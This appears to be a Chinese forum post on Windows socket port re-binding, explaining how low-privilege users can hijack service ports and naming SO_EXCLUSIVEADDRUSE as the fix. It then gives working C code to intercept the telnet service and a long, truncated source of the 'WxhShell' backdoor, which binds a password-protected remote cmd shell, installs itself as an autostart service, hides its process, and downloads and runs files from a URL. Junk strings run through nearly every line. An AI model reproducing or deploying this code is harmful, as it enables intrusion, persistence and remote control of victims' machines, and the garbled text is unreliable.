在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
IQoz8!guh: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
b3MgJT"mN ,`G8U/ saddr.sin_family = AF_INET;
VCcLS3 i15uHl saddr.sin_addr.s_addr = htonl(INADDR_ANY);
7NMQUN7k' 2K!3+D" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
#SQT!4 4s^5t6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
-wC;pA#o z6B/H2 这意味着什么?意味着可以进行如下的攻击:
'[~NRKQJ utQE$0F 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
nE+sbfC *pk*ijdB 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
r{$ip"f bAeC=?U 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
234OJ? j@v*q\X& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
IaH8#3+a C&,&~^_F 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#!OCEiT_ KFdV_e5lU 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
)~T)$TS _jR%o1Y} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
dfiA- h h$DFp #include
OlK3xdg7 #include
~+A?!f;-J #include
2Auhv!xV #include
gtyo~f DWORD WINAPI ClientThread(LPVOID lpParam);
MmI4J$F int main()
rBkLwJ] {
\s<{V7tq WORD wVersionRequested;
2w'Q9&1~ DWORD ret;
0_}OKn)J WSADATA wsaData;
(\, <RC\ BOOL val;
?5Wj y SOCKADDR_IN saddr;
@R_a'v- SOCKADDR_IN scaddr;
4v33{sp int err;
wxkCmrV SOCKET s;
nk> SOCKET sc;
3DV'; int caddsize;
.|JJyjRA+ HANDLE mt;
a57Y9.H`o DWORD tid;
xM8}Xo wVersionRequested = MAKEWORD( 2, 2 );
fB:9:NX err = WSAStartup( wVersionRequested, &wsaData );
hq6fDRO/4 if ( err != 0 ) {
1Zx|SBF printf("error!WSAStartup failed!\n");
HlqCL1\< return -1;
\-0@9E<D }
`L`qR,R saddr.sin_family = AF_INET;
Ah;2\0|t ^G[xQcM73 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
-X'HZ\) bvuoGG* saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
`ky<
* saddr.sin_port = htons(23);
%2f``48# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R5g-b2Lm {
y{,HpPp#o printf("error!socket failed!\n");
0Jm6 r4s? return -1;
KiT>W~ }
,aeQXI#@ val = TRUE;
Gi~p-OS, //SO_REUSEADDR选项就是可以实现端口重绑定的
2qo=ud if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
b4Br!PL@G {
5B#q/d1/a printf("error!setsockopt failed!\n");
ah1d0eP return -1;
G+stt(k: }
mM!'~{r[- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
jGl8y!aM //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
U s86.@| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
K]Q#B|_T PEac0rSW if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4*}[h9J}\ {
l
Q]&:%^\ ret=GetLastError();
;&q}G1 printf("error!bind failed!\n");
I@+h|
n return -1;
svCD&~|K# }
9h>nP8 listen(s,2);
%obR2% while(1)
%'a%ynFs {
<+o-{{E[ caddsize = sizeof(scaddr);
jl;_lcO
//接受连接请求
rL3<r sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&PaqqU. if(sc!=INVALID_SOCKET)
dF:@BEo {
QO0}-wZR mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
GwQW
I] if(mt==NULL)
k__i Jsk {
$,v
'> printf("Thread Creat Failed!\n");
Zk4Hs%n break;
Nz_c]3_j }
7cW9@xPe }
$m,gQV~4 CloseHandle(mt);
cjAKc|N J }
Ef{rY|E closesocket(s);
@wy|l)% WSACleanup();
WSi`)@.XO return 0;
J(JsfU4 }
G3'>KMa. DWORD WINAPI ClientThread(LPVOID lpParam)
fuSfBtLPR# {
^e:C{]S= SOCKET ss = (SOCKET)lpParam;
59!yz'feF SOCKET sc;
t~ruP',~\ unsigned char buf[4096];
gyj.M`+y SOCKADDR_IN saddr;
y=g9 wO long num;
Z"#eN(v.N DWORD val;
s:3 altv DWORD ret;
#"-?+F=rk //如果是隐藏端口应用的话,可以在此处加一些判断
5Ds/^fA //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0D/u`- saddr.sin_family = AF_INET;
(|)`~z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
c[\ :^w^I6 saddr.sin_port = htons(23);
4YDK`:4I~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~XN--4%Q {
;*1bTdB5a printf("error!socket failed!\n");
KY34Sc return -1;
W2/FGJD }
#N^TqOr val = 100;
\95qH,w)T if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%a=K:" oU[ {
>}Qj|05G ret = GetLastError();
^]l^q'?>: return -1;
PPk\W7G }
1+6:K._C(m if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JTK>[|c9oE {
*p:`F: ret = GetLastError();
kP~'C'5Ys return -1;
%Xs3Lz }
b~fX=!M if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
]x1MB|a6 {
W,"|([t4.\ printf("error!socket connect failed!\n");
KiYO,nD;\ closesocket(sc);
1c_gh12 closesocket(ss);
^ CVhV return -1;
cpvN
}G }
/WlK*8C while(1)
Atsi}zTR\ {
jXA!9_L7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6hDK;J J& //如果是嗅探内容的话,可以再此处进行内容分析和记录
b?9c\-} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
i{[=N9U5o num = recv(ss,buf,4096,0);
y_EkW
f if(num>0)
uw! send(sc,buf,num,0);
IN=pki|. else if(num==0)
VH[r@Pn break;
BCsz8U! num = recv(sc,buf,4096,0);
sq TBlP if(num>0)
Ay)q %:qx send(ss,buf,num,0);
3D_Ky Z~M+ else if(num==0)
, dT.q break;
CvfXm }
zvjVM"=G closesocket(ss);
X8~dFjhX closesocket(sc);
*uHL'Pe;m return 0 ;
j_N><_Jc }
=OfU#i"c -YM#.lQ 3 i<,#FaL ==========================================================
?xEQ'(UBQ #p&&w1 下边附上一个代码,,WXhSHELL
!Ic;;< 4;"^1 $ ==========================================================
(ii6w d<* x,$N!X #include "stdafx.h"
J-*&& Gt#Jr!N~ #include <stdio.h>
#vrxhMo #include <string.h>
@P=St\;VP #include <windows.h>
OS8 ^mC #include <winsock2.h>
I)#=#eI*: #include <winsvc.h>
~3byAL #include <urlmon.h>
<@i.~EL uC\FW6K=m #pragma comment (lib, "Ws2_32.lib")
dmh6o * #pragma comment (lib, "urlmon.lib")
u8ofgcFYE z ogtIn) #define MAX_USER 100 // 最大客户端连接数
Ow7NOhw #define BUF_SOCK 200 // sock buffer
]jbQou@ #define KEY_BUFF 255 // 输入 buffer
GMmz`O
XN g8^\| #define REBOOT 0 // 重启
W>C!V #define SHUTDOWN 1 // 关机
v*Tliw`-U hsV+?#I #define DEF_PORT 5000 // 监听端口
)aoB-Lu \zj _6Os #define REG_LEN 16 // 注册表键长度
s_]p6M #define SVC_LEN 80 // NT服务名长度
$=dp) V]b1cDx{ // 从dll定义API
&<I*;z6%t typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
*r!f! eA: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{ 3``T o$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
m87,N~DP typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
k=w;jX&;` mk>L:+ // wxhshell配置信息
-H1mKZDPP struct WSCFG {
2p\CCzw int ws_port; // 监听端口
blxAy char ws_passstr[REG_LEN]; // 口令
.G[y^w)w} int ws_autoins; // 安装标记, 1=yes 0=no
kp3(/`xP char ws_regname[REG_LEN]; // 注册表键名
y*2R#jTA char ws_svcname[REG_LEN]; // 服务名
/dTy%hZC} char ws_svcdisp[SVC_LEN]; // 服务显示名
`5 py6, char ws_svcdesc[SVC_LEN]; // 服务描述信息
(;u tiupW char ws_passmsg[SVC_LEN]; // 密码输入提示信息
d,=Kv int ws_downexe; // 下载执行标记, 1=yes 0=no
""Ul6hRgv char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?pgdj|"a char ws_filenam[SVC_LEN]; // 下载后保存的文件名
w:Ui_-4*> 5,=Yi$x };
P.*J'q 28 nb(4"|8} // default Wxhshell configuration
!_GY\@} struct WSCFG wscfg={DEF_PORT,
4)D#kP "xuhuanlingzhe",
?wE@9g A 1,
Zu(eYH=Q "Wxhshell",
8@%Xd^ "Wxhshell",
j,Sg?&"%= "WxhShell Service",
[c4.E" "Wrsky Windows CmdShell Service",
;9r
Z{'i+| "Please Input Your Password: ",
Q(SVJ 1,
1xK'1g72 "
http://www.wrsky.com/wxhshell.exe",
R"(rL5j "Wxhshell.exe"
v-6"*EP };
?f v?6r qGMM3a)Q // 消息定义模块
';`fMcN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
a] :tn:q char *msg_ws_prompt="\n\r? for help\n\r#>";
kN uDoo]z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
z9:@~3k. char *msg_ws_ext="\n\rExit.";
$iQ>c6 char *msg_ws_end="\n\rQuit.";
x_1JQDE char *msg_ws_boot="\n\rReboot...";
}*Qd]\fy char *msg_ws_poff="\n\rShutdown...";
tq=1C=h char *msg_ws_down="\n\rSave to ";
"sLdkd}dj <4jQbY; char *msg_ws_err="\n\rErr!";
y7SOz'd char *msg_ws_ok="\n\rOK!";
:0o
$qz2 h"VQFqQy char ExeFile[MAX_PATH];
Tk s;,C int nUser = 0;
{9TWPB/> HANDLE handles[MAX_USER];
AoHA+>&U int OsIsNt;
d7N;Fa3yL Du3OmXMk SERVICE_STATUS serviceStatus;
'G6TSl SERVICE_STATUS_HANDLE hServiceStatusHandle;
[+$l/dag `NA[zH,w3 // 函数声明
Cpaeo0Oq int Install(void);
Vzy]N6QT{ int Uninstall(void);
C%d 4ItB > int DownloadFile(char *sURL, SOCKET wsh);
7}bjJR " int Boot(int flag);
:1u>T3L.z void HideProc(void);
ga#,42)H int GetOsVer(void);
,CW]d#P| int Wxhshell(SOCKET wsl);
&_FNDJ>MCk void TalkWithClient(void *cs);
`;fh<kv int CmdShell(SOCKET sock);
\3K 6NA!L int StartFromService(void);
BmYU#h int StartWxhshell(LPSTR lpCmdLine);
^B@4 w\t k*|dX.C: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
RsBo\#` VOID WINAPI NTServiceHandler( DWORD fdwControl );
EQPZV
K/ y8: 0VZox // 数据结构和表定义
o;Ijv\Em SERVICE_TABLE_ENTRY DispatchTable[] =
4W8rb'B!Ay {
w?ssV {wscfg.ws_svcname, NTServiceMain},
l|`FW {NULL, NULL}
XuJwZN!( };
J#*Uf>5NY `7jm // 自我安装
7'FDI`e[ int Install(void)
X:-X3mV9{ {
3(P^PP8 char svExeFile[MAX_PATH];
a:@9GmtV& HKEY key;
vy/U""w` strcpy(svExeFile,ExeFile);
&QE^i%6>\ TI}H(XL( // 如果是win9x系统,修改注册表设为自启动
.Pq8C if(!OsIsNt) {
qx
3.oU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
k/l@P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4,9AoK)yp RegCloseKey(key);
=f@O~nGm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tYIHsm\b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#%VprcEK RegCloseKey(key);
TUhp return 0;
(Br$(XJoK} }
`.;7O27A^% }
cb&y8!ci~ }
L5T)_iQ5 else {
(Wr;:3i Y^LFJB|b4 // 如果是NT以上系统,安装为系统服务
8DTk<5mW~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
1W~-C B> if (schSCManager!=0)
`.aL>hf {
F$r8hj` SC_HANDLE schService = CreateService
567ot|cc (
5!#"8|oY schSCManager,
el!Bi>b9c! wscfg.ws_svcname,
w|WZEu:0| wscfg.ws_svcdisp,
^a; V-US SERVICE_ALL_ACCESS,
V$
38 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
*wt yyP@
SERVICE_AUTO_START,
qh$D;t1= SERVICE_ERROR_NORMAL,
{#QFDA svExeFile,
2`5(XpYe NULL,
7tAWPSwf NULL,
*"
<tFQ NULL,
{N5g52MN NULL,
7~\Dzcfk"P NULL
NOyLZa' );
QXJD'c if (schService!=0)
ZC"6B(d {
([|5(Omd\ CloseServiceHandle(schService);
+^YV>; CloseServiceHandle(schSCManager);
_if&a' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?y<n^` strcat(svExeFile,wscfg.ws_svcname);
XeDU
, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
3+A 0O%0* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
t)XV'J RegCloseKey(key);
ORQGay return 0;
iN<5[ztd }
6?*iIA$b }
]p'Qk CloseServiceHandle(schSCManager);
N["c*=x }
ZfT%EPoZ: }
-Qnnzp$] vlIdi@V return 1;
^'EEry }
:^%soEi I-/PzL<W P // 自我卸载
y=h2_jt int Uninstall(void)
vCH>Fj"7 {
^e@c
Ozt HKEY key;
6}iIK,Om }/c.>U if(!OsIsNt) {
P05_\
t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
sbK0OA RegDeleteValue(key,wscfg.ws_regname);
ccD+o$7LT RegCloseKey(key);
Xz]}cRQ[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
aS~k.^N RegDeleteValue(key,wscfg.ws_regname);
%J.Rm0FD: RegCloseKey(key);
5mSXf"R^ return 0;
nOQ+oqM< }
mf}?z21vD }
3 tXtt@Yy }
9}}D -&Mc else {
v@>hjie P]Gsc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
*\VQ%_wg if (schSCManager!=0)
o\|dm."f {
Dj!J 4uD SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
YY7:WQS if (schService!=0)
\!cqeg*53 {
8.-PQ if(DeleteService(schService)!=0) {
*<9 D] CloseServiceHandle(schService);
I$f:K]|.m! CloseServiceHandle(schSCManager);
Fi5,y;]R return 0;
Ce 5
}+A} }
K:'pK1zy CloseServiceHandle(schService);
FC]? T }
*3"C"4S CloseServiceHandle(schSCManager);
9HTb }
00;=6q]TA }
uU5:,Wy+dg &<_sXHg<x return 1;
iZjvO`@[ }
][G<CO`k _"WQi}Mm // 从指定url下载文件
`n^jU92 int DownloadFile(char *sURL, SOCKET wsh)
qk_
s"}sS {
bO2$0!=I HRESULT hr;
k9^P#l@p char seps[]= "/";
[j93Mp char *token;
0A 4(RLGg char *file;
f[|xp?ef char myURL[MAX_PATH];
dDpe$N char myFILE[MAX_PATH];
N#,4BU k(^zhET strcpy(myURL,sURL);
HwU \[f token=strtok(myURL,seps);
*39sh[*} while(token!=NULL)
+ !_^MB kk {
!5A
nr file=token;
W{-N,?z token=strtok(NULL,seps);
f2{4Y) }
}WCz*v1Wq 2o\\qEYg GetCurrentDirectory(MAX_PATH,myFILE);
up:e0di{ strcat(myFILE, "\\");
o.Cj+`0} 5 strcat(myFILE, file);
.mok.f<G_m send(wsh,myFILE,strlen(myFILE),0);
m%Ef]({I send(wsh,"...",3,0);
2&tGJq-E hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
u|QfCwQ if(hr==S_OK)
6eS#L2 1* return 0;
:=i0$k<E/ else
/au\OBUge return 1;
L3<XWpv hlUF9} }
Nju7!yVM_ W1:o2 C7 // 系统电源模块
,Y`C7Px int Boot(int flag)
?<nz2 piP, {
|_w*:NCV5 HANDLE hToken;
wV-cpJ,} TOKEN_PRIVILEGES tkp;
Z&.FJZUP *E$D, if(OsIsNt) {
zZf#E@=$| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!o.g2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Tl=vgs1 tkp.PrivilegeCount = 1;
2}}~\C}o+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
U3za}3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
RsV<*s if(flag==REBOOT) {
t8P>s})[4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
:\bttPw5 return 0;
*50Ykf }
Aga7X@fV( else {
hVGakp9WE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ho(Y?'^t3 return 0;
_O rE{ }
Y/$SriC_+' }
_8S).* else {
J@Orrz2q# if(flag==REBOOT) {
%
tJ?dlD' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Z2$-},i return 0;
+pFz&)? }
N7;E 2 X else {
i5AhF\7F9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(=PnLP return 0;
>Y\4v}- }
st+Kz uK }
S((8DSt* He]F~GXP return 1;
ntF(K/~Y }
GB
!3Z "^trHh8= // win9x进程隐藏模块
1gt[_P2u void HideProc(void)
d@w
I:
7 {
Yb6\+}th qkBnEPWZy HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
qb9%Y/xy if ( hKernel != NULL )
WYh7Y {
5o72X k pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
>)5vsqGZaK ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
sV*Q8b* FreeLibrary(hKernel);
3;M!]9ms }
3 $kZu &G"]v]V return;
XSxya.1 }
3(}?f -~-2 g // 获取操作系统版本
'{+hti,Lh int GetOsVer(void)
_rR.Y3N {
a%]p*X! OSVERSIONINFO winfo;
@+2Zt% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
V2y[IeSQ GetVersionEx(&winfo);
P `oR-D if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
D=OU61AA return 1;
>N3{*W else
MD
On; Af> return 0;
au7BqV!uL }
qMUqd}=P g_x<+3a // 客户端句柄模块
'+eP%Y[W% int Wxhshell(SOCKET wsl)
h]=chz {
)l"0:1I g SOCKET wsh;
S4(IYnwN struct sockaddr_in client;
S_QDYnF)` DWORD myID;
t^[{8,N +amvQ];?Q8 while(nUser<MAX_USER)
Vnl~AQfk| {
^Uf`w7"iY int nSize=sizeof(client);
O7K))w wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
vd;wQ if(wsh==INVALID_SOCKET) return 1;
Wu}Co :#L B}=HQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
dHu]wog if(handles[nUser]==0)
!uZ+r% closesocket(wsh);
l-Xxv else
RS:0xN\JN nUser++;
MVj@0W33m }
Z/I!\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
eGE%c1H9a hT_snb;ow return 0;
BNByaC }
f>'7~69 =?2y
<B // 关闭 socket
c]LH. void CloseIt(SOCKET wsh)
eJwr {
tb
i;X=5 closesocket(wsh);
/qCYNwWH9 nUser--;
P o_9M4kU ExitThread(0);
4H,DG`[Mo }
f"tO*/|` PU>;4l // 客户端请求句柄
FFkG,XH void TalkWithClient(void *cs)
jmb\eOq+~V {
63f/-64?7 2ReulL8j SOCKET wsh=(SOCKET)cs;
d}G?iX;c} char pwd[SVC_LEN];
z~BB|-kp1 char cmd[KEY_BUFF];
w Vof_'F1 char chr[1];
[X
I5Bu ~ int i,j;
*K)v&}uw ;z?XT\C$ while (nUser < MAX_USER) {
2iGRw4`_a p"JSYF
9] if(wscfg.ws_passstr) {
EW!$D if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
UtutdkaS //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
dnx}c4P //ZeroMemory(pwd,KEY_BUFF);
GGBe/X i=0;
a~%ej.)l while(i<SVC_LEN) {
_c&*'IY[V 4EpzCaEZ // 设置超时
^d"J2n,7L fd_set FdRead;
oaKf{$vg struct timeval TimeOut;
V":BAn FD_ZERO(&FdRead);
S ~_% FD_SET(wsh,&FdRead);
I45A$nV#Q TimeOut.tv_sec=8;
{)[i\=,`{ TimeOut.tv_usec=0;
ceOjuzY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
^AM_A>HnG if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:b>|U"ux q5A+%# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ELPJ}moWZ pwd
=chr[0]; e%P;Jj476
if(chr[0]==0xd || chr[0]==0xa) { 29]8[Z,4
pwd=0; H )}WWXK
break; bDkE*4SRX
} 8 N` $7^^
i++; *"5a5.`%,
} =?lT&|"
<_>6a7ra
// 如果是非法用户,关闭 socket /;0>*ft4
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d{he
} EH:1Z*|Z{\
q^cF D
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <Z;7=k
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &SM$oy#?
^M9oTNk2
while(1) { P=@lkF!\#
w(U/(C7R
ZeroMemory(cmd,KEY_BUFF); Q. XsY.{
,dp?'_q{
// 自动支持客户端 telnet标准 pxbNeqK@p
j=0; hK"=~\,
while(j<KEY_BUFF) { s,k1KTXg<B
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IX(yajc[~M
cmd[j]=chr[0]; =,
0a3D6b
if(chr[0]==0xa || chr[0]==0xd) { 9e&#;6l
cmd[j]=0; GW#kaqC1
break; :2My|3H\
} z]YhQIU4n8
j++; ob7_dWAG
} 'k67$H
s,v#lJ]d0W
// 下载文件 >2:S v1T
if(strstr(cmd,"http://")) { c 2@@Rd~M
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ##_Za6/n
if(DownloadFile(cmd,wsh)) C]H <L#)ZU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~
t
H s+
else Ib\G{$r
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WK}+f4tdW[
} =QfKDA
else { aX%Zuyny
?>8zU;Aj
switch(cmd[0]) { #[W[|m
I`TD*D
// 帮助 !S!03|
case '?': { @qDrTH]5
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K)+l 6Q
break; ?GarD3#A
}
D.o|($S0
// 安装 3R*@m
case 'i': { X-,y[ )
if(Install()) LwPM7S~ *
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /vDF<HVzm
else S7/v,E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \,!q[nC
break; fti|3c
} 1^#Q/J,
// 卸载 Bqi2n'^O2
case 'r': { *`-29eR"8
if(Uninstall()) zjS:;!8em
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F\R}no5C
else cOZ^huK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }hitU(5t0
break; kA;Tr4EA6
} T:">,*|
// 显示 wxhshell 所在路径 <M?#3&5A
case 'p': { m tQ{6u
char svExeFile[MAX_PATH]; $jm<'
4
strcpy(svExeFile,"\n\r"); $-?5Q~
strcat(svExeFile,ExeFile); }.cmiC
send(wsh,svExeFile,strlen(svExeFile),0); Oc9>F\]_m
break; U_;J.{n
} Sc$wR{W<:
// 重启 DB%AO:8
case 'b': { KdJx#Lc
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Qf>Pb$c$U
if(Boot(REBOOT)) w%dIe!sV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K!K"}%/_
else { XHM"agrhSQ
closesocket(wsh); W+
'}O<
ExitThread(0); 7B\(r~f`t
} U<Y'.!
break; W7=_u+0d
} \y`3Lh Y
// 关机 YIQ]]q8R!L
case 'd': { -xu.=n@,
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R(83E
B~_
if(Boot(SHUTDOWN)) nvK7*-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OG+r|.N;
else { ,(27p6!
closesocket(wsh); ~!-8l&C
ExitThread(0); \e8*vos
} nYy}''l<
break; Sje0:;;|
} HL}~W}!j
// 获取shell Y0yO`W4
case 's': { \seG2vw$
CmdShell(wsh); pb6^sA%l
closesocket(wsh); `vxrC&,As
ExitThread(0); {&EZ>r-
break; ^=Ct Aa2
} zO5u{
// 退出 $%%>n^??
case 'x': { )g:,_ 1s)|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EhPVK6@
CloseIt(wsh); .hlQ?\
break; QiE<[QP{g
} rKQASRF5*
// 离开 px}7If
case 'q': { Ipz
1+
#s'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); d6@jEa-
closesocket(wsh); #O9*$eMw
WSACleanup(); k\c &2T]W
exit(1); +#uNQ`1v
break; )*K<;WIWH
} +:]Aqyc\
} EPe]-C`
} NVc!g
-)OkG#J@
// 提示信息 PWk?8dL-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]6BmCh
} @> Ghfh>~D
} &:;;u\
5\ w=(c9A
return; .p(6' TYnI
} mo#0q&ZQ
RCh$j&Tn
// shell模块句柄 {y&\?'L'
int CmdShell(SOCKET sock) a()6bRc~T
{ BgkB x
STARTUPINFO si; {Bq"$M!Y
ZeroMemory(&si,sizeof(si)); Oh/b?|imG
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :q>oD-b$}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ik Y]8BCc
PROCESS_INFORMATION ProcessInfo; xZP >g
char cmdline[]="cmd"; bwSRJFqb
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5hJYy`h~
return 0; @4_rx u&
} yC'hwoQ`
V%BJNJ
// 自身启动模式 y*}vG}e%
int StartFromService(void) DN"S,
{ (K*/Vp
typedef struct &e
?"5
{ UbY~xs7_
DWORD ExitStatus; ii_|)udz
DWORD PebBaseAddress; :m*!?QGdL
DWORD AffinityMask; G9i)nWr
DWORD BasePriority; Db#W/8
a8k
